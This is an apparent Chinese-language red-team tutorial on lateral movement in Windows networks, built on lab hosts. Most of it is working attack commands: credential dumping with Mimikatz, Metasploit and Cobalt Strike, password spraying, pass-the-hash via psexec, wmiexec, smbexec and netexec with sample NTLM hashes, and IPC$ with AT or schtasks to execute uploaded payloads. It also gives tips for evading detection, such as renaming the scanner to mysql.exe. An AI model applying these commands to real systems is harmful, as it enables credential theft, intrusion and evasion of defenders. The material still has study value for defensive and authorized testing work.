总述

本文讲解了 横向移动 当中 利用 系统工具 实现 横向移动的相关方法的总结。

横向移动大致上可以分为两类:
	1. 通过内网的跳板机,利用漏洞攻击其他的内网主机,拿下其他内网主机的 Shell 落地,实现内网横移。
	2. 通过信息收集得来的相关凭证信息,通过已有凭证的方法进行横向移动。
		1. 凭据校验 - 获得正确的凭证
			1. 密码喷洒。
			2. PTH
			3. PTT
		2. 凭据利用
			1. Windows 原生 
					1. IPC
					2. smbclient
				1. IPC + AT + Schtasks
				2. IPC + sc
				3. WMIC
				4. WinRM
			2. 协议类
				1. RDP
				2. SSH
				3. SMB
	 
		我都有凭据了,为什么还要用上面说的那五种 凭据利用 的方式呢?
			因为:
				1、 RDP/SSH 登录容易被 SOC 检测(有人突然开交互式会话)。
				2、 RDP 可能没开,WinRM 可能被关,SSH 未必装。

	本文主要讲解的为 第二种 - 通过信息收集的相关凭据信息,利用这些讲解的手法实现 横向移动;因为 第一种 本质上其实就是属于 漏洞利用 而已,只是利用漏洞的结果是 实现了横向移动。

Pasted image 20250829051238.png

	当攻击者在拿下一台内网主机后,通常会利用当前拿下的机器当作跳板,进一步攻击内网其他主机,扩大攻击影响范围。
	
	横向移动有三个主要阶段:
		1、侦察(主机信息收集、内网网络结构信息收集) - 确定目标
		2、凭据/特权收集(主机密码凭证) - 确定凭据
		3、对网络中其他计算机的访问权限 - 横向移动

Pasted image 20250827135331.png

1、内网信息收集 - 目标确定

1. 系统命令

仅通过系统自带的相关 命令 及 功能 进行 信息收集 收集 其他主机 的 内网IP 信息,帮我们锁定目标。

1)ARP缓存信息

查看本机存储的相关的 arp 缓存表。
arp -a

Pasted image 20250827222331.png

2)DNS 缓存查询

查看内网的 DNS 服务器,并且很多时候通过内网的 DNS 服务器还能判断当前主机是否在 域 环境当中,以及如果是的话,通过查询 DNS 服务器的方式,顺便直接定位 域控的名称 和 域控ip 了。
ipconfig /displaydns

Pasted image 20250808174340.png

Pasted image 20250808174542.png

3)本地 Host 文件

很多时候其实都忘了查看本地的 hosts 文件了,这个文件也是非常重要的,有时候包含了非常多的信息。
type C:\Windows\System32\drivers\etc\hosts

Pasted image 20250827222629.png

2. 工具

# Fscan
https://github.com/shadow1ng/fscan

# Kscan
https://github.com/lcvvvv/kscan

# dismap
https://github.com/zhzyker/dismap
原则
0. 工具分工合作,根据工具自身的优势专项的 仔细使用。
1. 安静
2. 不被发现
3. 尽量用正常的协议
4. 尽量用改造过的⼯具
dismap:
	Web 资产扫的很好,也会带一些漏洞利用、指纹提取、协议、端口 等等。最常用于扫 Web。

Fscan:
	扫服务、端口、一些普通的漏洞,但是我们 Fscan 都是二开的并且会很仔细的去用它,而不是一上来就当作默认的方式。

Kscan:
	在内网当中去找存活,找完存活就不用了。
此处以 Fscan 进行相关的举例:
	1. 根据不同的需求定向的使用命令进行操作的实现,而不是直接无脑的全扫,否则会让安全设备大量的告警,一下就被发现了。
	2. 进行了二开,文件名肯定不为 fscan,而是改为正常的这种文件名进行掩盖,并且相关的选项也进行了修改,避免相关的 命令正则匹配检测,一下就被抓到了。
	3. 禁 ping。

1. Fscan

1)主机发现(存活探测)

# fscan
mysql.exe -i 192.168.3.0/24 -np -m netbios

Pasted image 20250808185750.png

2)定向扫描 MS17-010 漏洞

# fscan
mysql.exe -i 192.168.3.0/24 -np -m ms17010

Pasted image 20250808190201.png

3)特殊端口资产扫描

# fscan
mysql.exe -i 192.168.3.0/24 -np -p 22,2222,3389,5900,1433,3066,1521,5432,6379

Pasted image 20250808190210.png

4)其他主机标签识别

这个命令的作用是:快速扫描 192.168.3.0/24 网段内的存活主机和开放端口等基础资产信息(不进行漏洞检测和密码爆破),并将结果保存到 res.txt 文件中。适合用于内网资产的初步探测。
# fscan
mysql.exe -i 192.168.3.0/24 -np -nobr -nopoc -o res.txt

-np:禁用 ping 探测(不使用 ICMP 协议检测主机是否存活)。
-nobr:禁用爆破功能(不尝试对主机的账号密码进行暴力破解)。
-nopoc:禁用 POC 检测(不检测系统或应用程序的漏洞利用 POC)。
-o res.txt:将扫描结果输出到 res.txt 文件中。

Pasted image 20250808190441.png

2. Cobalt Strike

1)梼杌

Pasted image 20250827151141.png

Pasted image 20250827151246.png

SharpOXID-Find 是用 .NET (通常是 .NET Framework 4.x) 编写的。
	环境不正确。
		| Windows Server 2008 R2    | .NET Framework 3.0     |

Pasted image 20250827151303.png

2)mingy-Qiao

Pasted image 20250827151619.png

Ladon

Pasted image 20250827151709.png

Pasted image 20250827151901.png

SharpWebScan

Pasted image 20250827152008.png

	环境不正确。
		| Windows Server 2008 R2    | .NET Framework 3.0     |

Pasted image 20250827152023.png

Fscan

Pasted image 20250827152146.png

Pasted image 20250827152213.png

Pasted image 20250827152639.png

Pasted image 20250827152724.png

3)神龙拉冬

Pasted image 20250827152841.png

Ladon
OnlinePC

Pasted image 20250827152906.png

Pasted image 20250827153238.png

ICMP

Pasted image 20250827153450.png

Pasted image 20250827153424.png

2、凭据信息收集

详见 - 1信息收集 - 主机级 - 密码获取 - Windows 密码凭据获取、域环境密码获取。
本文仅简单回顾一下最常用的方法。

1. Mimikatz

1、本地交互式

1)winlogon.exe - 明文 + hash

读取本地已登录进行过 且 通过 了的相关的用户凭证的获取 - winlogon.exe 是提供的密文密码,我们可以尝试获取相关的明文密码。
# 运行mimikatz
	mimikztz.exe

# 提升权限,获取系统调试权限,调试权限是一种高级别的权限,允许用户调试或诊断系统上的其他进程。
	privilege::debug

# 记录日志
	log re.txt

# 抓取登录密码
	sekurlsa::logonpasswords

(
# 域环境下使用 dcsync 权限尝试与 KDC 进行同步。
lsadump::dcsync /domain:qiaoshen.local /all /csv
)

# 退出 Mimikatz
	exit
mimikatz.exe "log 1.txt" "privilege::debug" "sekurlsa::logonpasswords" "exit"

Pasted image 20250805115844.png

Pasted image 20250805120908.png

Pasted image 20250805120009.png

2)lsass.exe - hash

读取 SAM 数据库文件当中存储的密码密文的 NTLM Hash 的值。
# 运行mimikatz
	mimikztz.exe

# 提升权限,获取系统调试权限,调试权限是一种高级别的权限,允许用户调试或诊断系统上的其他进程
	privilege::debug

# 提升当前进程的令牌权限,使其具有管理员级别的访问权限。
	token::elevate

# 记录日志
	log res.txt

# 从 Windows 系统的安全账户管理器(SAM)数据库中提取密码哈希。(读取本地的 SAM,因此仅有本地的)
	lsadump::sam

# 提取 Windows 系统中存储的敏感信息,如密码、密钥和其他凭据。
	lsadump::secrets
mimikatz.exe "log 2.txt" "privilege::debug" "token::elevate" "lsadump::sam" "lsadump::secrets" "exit"

Pasted image 20250805120351.png

Pasted image 20250805120519.png

Pasted image 20250805120606.png

2、本地非交互式

我们有某台 Windows 主机的权限,但是并非是 cmd 这样命令行窗口 样式的 交互式 shell,那么针对这种情况,我们就可以一条命令实现信息收集并将结果保存到某个文件当中,我们直接再去读取那个文件即可。
# 执行命令并记录日志
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > log.txt

mimikatz.exe "log re.txt" "privilege::debug" "sekurlsa::logonpasswords" "exit"

Pasted image 20250805121544.png

2. MSF

1、Meterpreter - Hashdump

这个模块会尝试从内存中提取 Windows 系统的密码哈希。

hashdump 需要 administrator 权限。
post/windows/gather/hashdump 模块需要 SYSTEM 权限。
run post/windows/gather/hashdump

# smart_hashdump 是一个更先进的模块,它使用不同的技术来提高获取哈希的成功率。
run post/windows/gather/smart_hashdump 

Pasted image 20250805134231.png

Pasted image 20250805134211.png

Pasted image 20250827142126.png

2、Meterpreter - mimikatz

kiwi 是 Meterpreter 中 Mimikatz 的加载模块,它允许直接在 Meterpreter 会话中使用 Mimikatz 功能。

1)加载 mimikatz - load kiwi

# 加载mimikatz模块
	load kiwi

# 查看模块功能帮助
	help kiwi
命令中文解释
creds_all检索所有凭据(已解析)
creds_kerberos检索 Kerberos 凭据(已解析)
creds_livessp检索 Live SSP 凭据
creds_msv检索 LM/NTLM 凭据(已解析)
creds_ssp检索 SSP 凭据
creds_tspkg检索 TsPkg 凭据(已解析)
creds_wdigest检索 WDigest 凭据(已解析)
dcsync通过 DCSync 检索用户账户信息(未解析)
dcsync_ntlm通过 DCSync 检索用户账户的 NTLM 哈希、SID 和 RID
golden_ticket_create创建黄金 Kerberos 票据
kerberos_ticket_list列出所有 Kerberos 票据(未解析)
kerberos_ticket_purge清除所有正在使用的 Kerberos 票据
kerberos_ticket_use使用 Kerberos 票据
kiwi_cmd执行任意 mimikatz 命令(未解析)
lsa_dump_sam转储 LSA SAM(未解析)
lsa_dump_secrets转储 LSA 机密(未解析)
password_change更改用户的密码 / 哈希
wifi_list列出当前用户的 WiFi 配置文件 / 凭据
wifi_list_shared列出共享的 WiFi 配置文件 / 凭据(需要 SYSTEM 权限)

Pasted image 20250805134518.png

2)列举系统中的密码(明文 + hash) - creds_all

creds_all

Pasted image 20250805134812.png

3)读取 sam 文件

lsa_dump_sam

Pasted image 20250805134943.png

4)使用 mimikatz 原生 命令行 - kiwi_cmd

# 查看基础命令
	kiwi_cmd -h

# 查看有哪些模块,kiwi_cmd命令后面接mimikatz的模块命令
	kiwi_cmd ::

# 从 Windows 的 sam 文件中读取密码 hash 值
	kiwi_cmd lsadump::sam

# 获取明文密码
	kiwi_cmd sekurlsa::logonpasswords


	其他的 mimikatz 原生命令同理。

Pasted image 20250805135056.png

Pasted image 20250805135213.png

Pasted image 20250805135328.png

3. Cobalt Strike

1)hashdump

hashdump

Pasted image 20250805135745.png

Pasted image 20250805135802.png

2)Logonpasswords

logonpasswords 命令尝试从当前会话中获取当前登录用户的明文密码。
logonpasswords

Pasted image 20250805135946.png

Pasted image 20250805140100.png

3)Mimikatz 集成

CobaltStrike 集成了 Mimikatz,可以直接在 beacon 会话中运行 Mimikatz 命令。

# 获取当前会话的明文密码
	mimikatz sekurlsa::logonpasswords

# 读取 Windows 的 SAM 数据库并转储密码哈希
	mimikatz lsadump::sam


	其他 mimikatz 原生命令同理

Pasted image 20250805140323.png

Pasted image 20250805140400.png

Pasted image 20250805140533.png

CobaltStrike凭证视图

Pasted image 20250805140735.png

Pasted image 20250805140904.png

3、凭据验证

1)密码喷洒

可以指定字典 - 也就是暴力破解:
	1. 已知完整凭据 - 平局喷洒
	2. 已知密码 - 爆破用户名
	3. 已知用户名 - 爆破密码
	4. 爆破 服务 - SMB、wmi...

因此我们在喷洒之前,需要先确定好目标的相关 密码基线 的情况,是否有相应的失败错误的锁定机制,要是全面影响业务就 GG 了。

1. Crackmapexec

Pasted image 20250827171940.png

--local-auth 说明是在本地用户的喷洒,不加 --local-auth 默认为 域内用户的喷洒。
crackmapexec smb HOST -u Username -p password --local-auth --command

# 单 IP
crackmapexec smb 10.10.10.20 -u administrator -p '1qaz@WSX' --local-auth --users
crackmapexec smb 10.10.10.20 -u administrator -p '1qaz@WSX' --local-auth --shares

# IP 段
crackmapexec smb 10.10.10.10-30 -u administrator -p '1qaz@WSX' --local-auth

# 文件
crackmapexec smb targets.txt -u administrator -p '1qaz@WSX' --local-auth

Pasted image 20250827172233.png

Pasted image 20250827172322.png

Pasted image 20250827172503.png

Pasted image 20250827172542.png

2. Cobalt Strike

需要已经有过权限才能在 CS 上进行 PTP(Pass The Password)

Pasted image 20250827173756.png

2)PTH

其实 PTH 已经是在 内网横移了,PTH 成功 则 内网横移 成功了已经。
	可以通过 PTH 一个一个验证碰撞是否可以成功横移到其他的内网主机;如果碰撞成功了那么直接就内网横移成功了。
	PTH(Pass The Hash)是一种利用NTLM或LM哈希值而非明文密码进行身份验证的攻击技术。攻击者获取用户密码的哈希值后,可以直接使用该哈希值在网络中进行横向移动,无需破解出明文密码。

	是域环境当中 横向移动的 核心方法。
		但是无论是在 域环境 当中 还是在 工作组 当中,都可以使用该方法 进行横向移动。
			只不过在工作组当中,很少有在一台主机当中存在另一台主机相关 密码凭证 的情况,因此其实大部分情况 PTH 都是在域环境当中存在。

攻击原理

1. NTLM认证机制:

  • Windows系统使用 NTLM 协议进行身份验证时,实际上使用的是密码哈希值而非明文密码。
  • 服务器端并不验证原始密码,只验证客户端提供的哈希值是否正确。

2. 哈希重用特性:

  • 同一账户在不同机器上的密码哈希值相同 (除非启用了 CredSSP 或限制 NTLM )
  • 攻击者获取的哈希值可在整个域环境中重用。

3. 协议设计缺陷:

  • NTLM 协议设计时未考虑哈希值本身作为凭证的安全风险。
  • 服务器无法区分哈希值是来自合法计算还是被窃取的。

前提条件

1. 获取有效的密码哈希值

  • 必须已获取目标用户的 NTLM 或 LM 哈希值

  • 常见获取方式:

    1. 内存提取(如LSASS进程)
    2. SAM数据库提取
    3. 域控制器上的NTDS.dit文件
    4. 网络嗅探NTLM认证流量

2. 目标系统使用NTLM认证

  • 目标服务/系统 必须允许 NTLM 认证,如果系统强制使用 Kerberos 认证,PTH 攻击将失效

  • 常见支持NTLM的服务:

    1. SMB文件共享
    2. RDP远程桌面(需特殊配置)
    3. Windows远程管理(WinRM)
    4. IIS Web应用(配置NTLM认证时)

3. 网络可达性

  • 攻击者必须能够通过网络访问目标系统

  • 相关端口必须开放:
    SMB: 445/TCP
    RDP: 3389/TCP
    WinRM: 5985/5986(TCP)

    任意一个开启即可尝试 PTH。

4. 账户权限

  • 使用的哈希值对应的账户在目标系统上需要有足够的权限

  • 常见有效目标账户:

    1. 本地管理员组成员
    2. 域管理员组成员
    3. 具有远程登录权限的账户

    KB2871997 补丁:2014 年 5 月 13 日微软发布了更新补丁 KB2871997,禁止本地管理员账户(除 Administrator (SID 500)之外)用于远程连接,这样就无法以本地管理员用户的权限执行 wmi、PSEXEC、schtasks、at 和访问文件共享。

攻击流程

1. 信息收集阶段:

  • 获取目标系统的用户哈希值(通过 LSASS 内存转储、SAM 数据库提取等方式)。
  • 识别网络中的其他可访问系统。

2. 哈希传递阶段:

  • 使用获取的哈希值尝试对其他系统进行身份验证。
  • 常见工具:Mimikatz、Impacket 套件中的 psexec.py 等。

3. 权限提升与横向移动:

  • 成功验证后,在目标系统执行命令。
  • 进一步收集新系统的哈希值,继续横向移动。

4. 目标达成:

  • 获取域管理员等高权限账户哈希。
  • 控制整个域环境。

Pasted image 20250827174601.png

利用

1)工作组 PTH

1. MSF
psexec 横向移动
	exploit/windows/smb/psexec 模块
setg proxies socks5:127.0.0.1:4080

use exploit/windows/smb/psexec

set rhosts 10.10.10.20

set smbuser administrator

set smbpass aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24

set lport 4206

run

Pasted image 20250827180959.png

Pasted image 20250827182946.png

2. Cobalt Strike
其实用 Beacon TCP 或者 Beacon SMB 的监听器都可以

Pasted image 20250827183126.png

Pasted image 20250827184050.png

Pasted image 20250827184346.png

Pasted image 20250827184450.png

Pasted image 20250827184537.png

# 核心本质解析

rev2self
# 还原token令牌

pth PC\Administrator 161cff084477fe596a5db81874498a24
# 使用mimikatz执行PTH操作
# mimikatz's sekurlsa::pth /user:"Administrator" /domain:"PC" /ntlm:161cff084477fe596a5db81874498a24 /run:"%COMSPEC% /c echo 50465323d7f > \\.\pipe\03c5e4"

jump psexec WEB tcp1
# 生成 windows/beacon_bind_tcp (0.0.0.0:4443) 对应的 payload (\\WEB\ADMIN$\c930c4b.exe),并上传到WEB主机
# 在WEB主机通过 Service Control Manager 创建并启动服务 c930c4b 运行 payload






beacon> rev2self
[*] Tasked beacon to revert token

beacon> pth PC\Administrator 161cff084477fe596a5db81874498a24
[*] Tasked beacon to run mimikatz's sekurlsa::pth /user:"Administrator" /domain:"PC" /ntlm:161cff084477fe596a5db81874498a24 /run:"%COMSPEC% /c echo 50465323d7f > \\.\pipe\03c5e4" command

beacon> jump psexec WEB tcp1
[*] Tasked beacon to run windows/beacon_bind_tcp (0.0.0.0:4443) on WEB via Service Control Manager (\\WEB\ADMIN$\c930c4b.exe)
[+] host called home, sent: 640563 bytes
[+] Impersonated PC\Administrator
[+] received output:
Started service c930c4b on WEB
[+] established link to child beacon: 10.10.10.20
[+] received output:
user : Administrator
domain : PC
program : C:\Windows\system32\cmd.exe /c echo 50465323d7f > \\.\pipe\03c5e4
impers. : no
NTLM : 161cff084477fe596a5db81874498a24
 | PID 4012
 | TID 1172
 | LSA Process is now R/W
 | LUID 0 ; 6146101 (00000000:005dc835)
 \_ msv1_0 - data copy @ 00000000016DE7E0 : OK !
 \_ kerberos - data copy @ 000000000161E8E8
 \_ aes256_hmac -> null 
 \_ aes128_hmac -> null 
 \_ rc4_hmac_nt OK
 \_ rc4_hmac_old OK
 \_ rc4_md4 OK
 \_ rc4_hmac_nt_exp OK
 \_ rc4_hmac_old_exp OK
 \_ *Password replace @ 0000000001B4C668 (16) -> null
3. impacket
wmiexec
# 执行 ipconfig 命令
python3 wmiexec.py -hashes :161cff084477fe596a5db81874498a24 WEB/[email protected] "ipconfig"

# 中文编码解决乱码。
python3 wmiexec.py -hashes :161cff084477fe596a5db81874498a24 WEB/[email protected] "ipconfig" -codec gbk

# 获取 CMD_Shell
python3 wmiexec.py -hashes :161cff084477fe596a5db81874498a24 WEB/[email protected] -codec gbk

Pasted image 20250827185806.png

Pasted image 20250827185824.png

Pasted image 20250827185513.png

Pasted image 20250827185624.png

smbexec
# 得到 CMD_Shell
python3 smbexec.py -hashes :161cff084477fe596a5db81874498a24 [email protected] -codec gbk

# 执行命令
smbexec 不能直接执行命令。

Pasted image 20250827190100.png

Pasted image 20250827190023.png

4. netexec
smb
proxychains -q netexec smb 10.10.10.20 -u administrator -H 161cff084477fe596a5db81874498a24 --local-auth

proxychains -q netexec smb 10.10.10.20 -u administrator -H 161cff084477fe596a5db81874498a24 --local-auth -x whoami

Pasted image 20250827191457.png

Pasted image 20250827191536.png

Pasted image 20250827191647.png

Pasted image 20250827191705.png

Pasted image 20250827191731.png

wmi
proxychains -q netexec wmi 10.10.10.20 -u administrator -H 161cff084477fe596a5db81874498a24 --local-auth

proxychains -q netexec wmi 10.10.10.20 -u administrator -H 161cff084477fe596a5db81874498a24 --local-auth -x whoami

Pasted image 20250827191919.png

winrm
proxychains -q netexec winrm 10.10.10.20 -u administrator -H 161cff084477fe596a5db81874498a24 --local-auth

proxychains -q netexec winrm 10.10.10.20 -u administrator -H 161cff084477fe596a5db81874498a24 --local-auth -x whoami

Pasted image 20250827192652.png

# 开启 winrm 方法
winrm quickconfig
(shell winrm quickconfig -q)

# 允许远程主机访问及访问远程主机
# WinRM 只允许当前域用户或者处于本机 TrustedHosts 列表中的远程主机进行访问
winrm set winrm/config/client @{TrustedHosts="*"}

Pasted image 20250827192240.png

Pasted image 20250827192402.png

5. Mimikatz
当我们获得了内网中一台主机的 NTLM 哈希值,我们可以利用 mimikatz 对这个主机进行哈希传递攻击,执行命令成功后将会反弹回 cmd。
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:10.0.1.143 /ntlm:161cff084477fe596a5db81874498a24" exit
net use \\10.10.10.20\C$
dir \\10.10.10.20\C$
copy payload \\10.10.10.20\C$
net use z: \\10.10.10.20\C$
不知道为什么还是需要经过域的认证,域环境现在有问题无法使用

域环境 PTH

1. MSF
psexec
	exploit/windows/smb/psexec 模块
setg proxies socks5:127.0.0.1:4080

use exploit/windows/smb/psexec

set smbdomain qiaoshen.local

set smbuser administrator

set smbpass aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24

set lport 4206

run
msf6 > use exploit/windows/smb/psexec
msf6 exploit(windows/smb/psexec) > set rhosts 10.10.10.10
msf6 exploit(windows/smb/psexec) > set smbdomain qiaoshen.local
msf6 exploit(windows/smb/psexec) > set smbuser QiaoShen
msf6 exploit(windows/smb/psexec) > set smbpass aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24
msf6 exploit(windows/smb/psexec) > run
2. Cobalt Strike
同理一样的,只是凭据选择的是 域环境的 用户凭据而已。
3. impacket
域环境出现了一些问题,无法实操截图。
wmiexec
# 执行 ipconfig 命令
proxychains -q python3 wmiexec.py -hashes :161cff084477fe596a5db81874498a24  qiaoshen/[email protected] -codec gbk "ipconfig"

# 获取 CMD_Shell
proxychains -q python3 wmiexec.py -hashes :161cff084477fe596a5db81874498a24  qiaoshen/[email protected] -codec gbk 
smbexec
# 得到 CMD_Shell
proxychains -q python3 smbexec.py -hashes :161cff084477fe596a5db81874498a24 qiaoshen/[email protected]

# 执行命令
smbexec 不能直接执行命令。
4. netexec
域环境出现了一些问题,无法实操截图。
smb
proxychains -q netexec smb 10.10.10.10 -u QiaoShen -H 161cff084477fe596a5db81874498a24 -d qiaoshen.local --codec gbk

proxychains -q netexec smb 10.10.10.20 -u QiaoShen -H 161cff084477fe596a5db81874498a24 --d qiaoshen.local -x whoami --codec gbk
wmi
proxychains -q netexec wmi 10.10.10.10 -u QiaoShen -H 161cff084477fe596a5db81874498a24 --d qiaoshen.local --codec gbk

proxychains -q netexec wmi 10.10.10.10 -u QiaoShen -H 161cff084477fe596a5db81874498a24 --d qiaoshen.local -x whoami --codec gbk
5. Mimikatz
当我们获得了内网中一台主机的 NTLM 哈希值,我们可以利用 mimikatz 对这个主机进行哈希传递攻击,执行命令成功后将会反弹回 cmd。
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:QiaoShen /domain:qiaoshen.local /ntlm:161cff084477fe596a5db81874498a24" exit
net use \\dc\C$
dir \\dc\C$
copy payload \\dc\C$
net use z: \\DC\C$
需要经过域的认证,域环境现在有问题无法截图

3)PTT

4、横向移动

1. 系统内置工具

1)IPC$ 方法

	IPC$ (Internet Process Connection) 是共享 "命名管道" 的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。

利用 IPC$,连接者与目标主机利用建立的连接可以得到目标主机上的目录结构、用户列表等信息。

使用条件

1. 开放了139、445端口
  • 我们可以通过 139 和 445 端口来实现对共享文件/打印机的访问,因此一般来讲,IPC$ 连接是需要 139 或 445 端口来支持的。
  • IPC$ 连接可以实现远程登陆及对默认共享的访问,而 139 端口的开启表示 netbios 协议的应用。
  • IPC$ 连接默认会走 445 端口,不通的话则会走 139 端口,这两个端口都可以单独实现文件共享。
2. 目标开启 IPC$ 文件共享服务及默认共享
  • 默认共享是为了方便管理员远程管理而默认开启的共享。
  • 所有逻辑磁盘(c、d、e…)和系统目录 WINNT 或 WINDOWS(ADMIN),通过 IPC 连接可以实现对这些默认共享的访问。
3. 需要目标机器的管理员账号和密码
  • 默认情况下只有被添加到远程计算机管理员组的域用户(域管用户)有权限对 admin$ 目录建立IPC 连接。
  • 本地的 Administrator 用户也可以,如果启用了该用户,那么也可以使用 Administrator 用户远程连接。

常用命令

  • KB2871997 补丁:2014 年 5 月 13 日微软发布了更新补丁 KB2871997,禁止本地管理员账户(除 Administrator (SID 500)之外)用于远程连接,这样就无法以本地管理员用户的权限执行 wmi、PSEXEC、schtasks、at 和访问文件共享。
  • 因此连接的时候一定要用 administrator 进行连接,administrators 组当中的成员都不行,否则会一直提示 拒绝访问。
    • 从 Vista/Win2008 开始,即使是本地 Administrators 组用户,远程访问共享时默认会被“降级”为普通用户令牌。

Pasted image 20250827220057.png

Pasted image 20250827220220.png

查看本地共享
# net share 只能查看自己的共享情况信息
net share

# 查看别人的需要用到 net view
net view \\目标主机IP
查看连接情况
net use

Pasted image 20250827205429.png

Pasted image 20250827205505.png

连接
net use \\10.10.10.30\C$ /user:username password

	net use \\10.10.10.30\C$ /user:administrator 123456

Pasted image 20250827205625.png

查看目标主机时间
net time \\10.10.10.20

Pasted image 20250827211356.png

文件上传下载
# 查看
dir \\10.10.10.20\C$

# 上传
copy payload.exe \\10.10.10.20\C$\temp\payload.exe

# 下载
copy \\10.10.10.20\C$\temp\payload.exe C:\temp\payload1.exe

Pasted image 20250827212204.png

Pasted image 20250827212721.png

查看/删除/增加 共享的资源
# net share 只能查看自己的共享情况信息
net share

# 查看别人的需要用到 net view
net view \\目标主机IP

# 删除共享
net share C$ /del

# 增加共享
net share C$=C:\

# 查看相关帮助
net share /?

Pasted image 20250827212959.png

Pasted image 20250827213118.png

Pasted image 20250827213149.png

开放/关闭 IPC$ 共享
# 开放 IPC$ 共享
net share IPC$

# 关闭 IPC$ 共享
net share IPC$ /del

Pasted image 20250827214759.png

磁盘映射 - 映射共享磁盘到本地
net use z: \\10.10.10.20\C$ /user:administrator 123456

Pasted image 20250827214614.png

Pasted image 20250827214659.png

删除连接
net use \\10.10.10.20\C$ /del

net use * /del /y

Pasted image 20250827220534.png

Pasted image 20250827220659.png

IPC$ 连接失败 常见错误
错误号描述错误原因
5拒绝访问很可能你使用的用户不是管理员权限,先提升权限
51Windows 无法找到网络路径网络有问题
53找不到网络路径ip 地址错误;目标未开机;目标 lanmanserver 服务未启动;目标有防火墙(端口过滤)
67找不到网络名你的 LanManWorkStation 服务未启动;目标删除了 ipc$
1219提供的凭据与已存在的凭据集冲突你已经和对方建立了一个 ipc$,请删除后再连
1326未知的用户名或错误密码用户名或密码错误
1385登录失败:未授予用户在此计算机上的请求登录类型可能是因为未授予用户登录类型
1792试图登录,但是网络登录服务没有启动目标 NetLogon 服务未启动,连接域控会出现此情况
2242此用户的密码已经过期目标有帐号策略,强制定期要求更改密码

利用

1. IPC$ + AT - 计划任务
0、AT 简介
AT命令可在指定时间和日期、在指定计算机上运行命令和程序。
	AT命令在 windows server 2012 等新版系统中已被弃用。
	
	AT命令如果找不到网络路径,则判断是目标主机已禁用 Task Scheduler 服务。
		问题:执行 at 命令时,显示绑定句柄无效。
		解决:echo 10.10.11.100 RemoteHost > C:\Windows\System32\drivers\etc\hosts
注意:
	AT 和 Schtasks 虽然都是计划任务,并且在 Windows 上查看定时任务的地方相同,但是
		无法使用 AT 命令 查看、修改 Schtasks 创建的相关任务;
			创建任务的任务名
				AT1
				AT2
				AT3
		使用 Schtasks 命令 却可以 查看、修改 AT 创建的相关任务。

Pasted image 20250827224716.png

1、建立 IPC 连接
shell net use \\10.10.10.20\C$ /user:administrator 1qaz@WSX

Pasted image 20250827223318.png

Pasted image 20250827223400.png

2、上传 payload
copy C:\temp\qiaoshen.exe \\10.10.10.20\C$\temp\qiaoshen.exe

Pasted image 20250827223641.png

	虽然我们把 payload 上传到了目标主机上,但是我们无法远程的使 目标主机 执行我们的 payload,因此此时我们需要使用 at、schtasks 等计划任务的方式、或者 sc 的服务这种方式实现目标主机执行我们的 payload 实现上线。

Pasted image 20250827223810.png

3、查看远程主机时间
定时任务肯定是根据对方目标主机的事件来进行设定的。
net time \\10.10.10.20

Pasted image 20250827224058.png

4、设定定时任务 - 执行 payload 实现上线
# 设定定时任务
at \\10.10.10.20 22:42:00 C:\temp\qiaoshen.exe

# 查看定时任务
at \\10.10.10.20

Pasted image 20250827224258.png

Pasted image 20250827224439.png

成功上线。

Pasted image 20250827224518.png

5、AT命令删除任务
at \\computer id /del

at \\10.10.10.20 1 /del

Pasted image 20250827224928.png

2. IPC$ + Schtasks - 计划任务
0、Schtasks 简介
	由于 AT 在 windows server 2012 等新版系统中已被弃用,所以需要使用 schtasks 命令代替。
		允许管理员创建、删除、查询、更改、运行和中止本地或远程系统上的计划任务。
注意:
	AT 和 Schtasks 虽然都是计划任务,并且在 Windows 上查看定时任务的地方相同,但是他们自己的相关计划任务并不互通,不能互相操作。
		无法使用 AT 命令 查看、修改 Schtasks 创建的相关任务;
		也无法使用 Schtasks 命令 查看、修改 AT 创建的相关任务。
命令 / 参数功能描述补充说明
/Create创建新计划任务用于初始化一个新的计划任务配置,需配合其他参数(如任务名称、运行程序等)使用
/Delete删除计划任务执行后会移除指定的计划任务,通常需通过 /tn 参数指定要删除的任务名称
/Query显示所有计划任务运行后可列出当前系统中已创建的全部计划任务,便于查看任务列表及基本信息
/Change更改计划任务属性用于修改已存在计划任务的属性,例如任务运行频率、关联程序路径等,需指定目标任务(/tn
/Run按需运行计划任务无需等待任务的预设计划时间,手动触发指定计划任务立即执行,需通过 /tn 指定任务
/End中止当前正在运行的计划任务当某计划任务处于运行状态时,可通过此命令强制停止该任务,需指定目标任务(/tn
/ShowSid显示与计划任务名称相应的安全标识符(SID)输入任务名称(配合 /tn)后,返回该任务对应的系统安全标识符,用于权限管理相关场景
/sc指定计划类型必需参数,用于定义任务的执行周期,有效值包括:MINUTE(按分钟)、HOURLY(按小时)、DAILY(按天)、WEEKLY(按周)、MONTHLY(按月)、ONCE(仅一次)、ONSTART(系统启动时)、ONLOGON(用户登录时)、ONIDLE(系统空闲时)
/mo指定任务在计划类型内的运行频率对 MONTHLY 计划类型为必需参数;对 MINUTE、HOURLY、DAILY、WEEKLY 计划类型为可选参数,默认值为 1(即按计划类型最小单位执行,如 /sc DAILY /mo 1 表示每天执行)
/tr指定任务运行的程序或命令若未填写程序路径,SchTasks.exe 会默认从 Systemroot\System32 目录下查找目标程序
/tn指定任务的名称用于标识计划任务的唯一名称,是 /Create/Delete/Change 等多数命令的核心关联参数,需确保任务名称唯一
/?显示帮助消息运行后列出所有 SchTasks.exe 命令及参数的详细说明,用于查询参数用法
# 创建任务
schtasks /create /tn task1 /s ip /RU system /tr 命令 /sc MINUTE /mo 1 /U 域\域用户|用户 /P 用户密码

# 运行任务
schtasks /run /tn task1 /s ip /U 域\域用户|用户 /P 用户密码

# 删除任务
schtasks /F /delete /tn task1 /s ip /U 域\域用户|用户 /p 用户密码
1、建立 IPC 连接
shell net use \\10.10.10.20\C$ /user:administrator 1qaz@WSX

Pasted image 20250827230822.png

Pasted image 20250827230853.png

2、上传 payload
copy C:\temp\qiaoshen.exe \\10.10.10.20\C$\temp\qiaoshen.exe

Pasted image 20250827223641.png

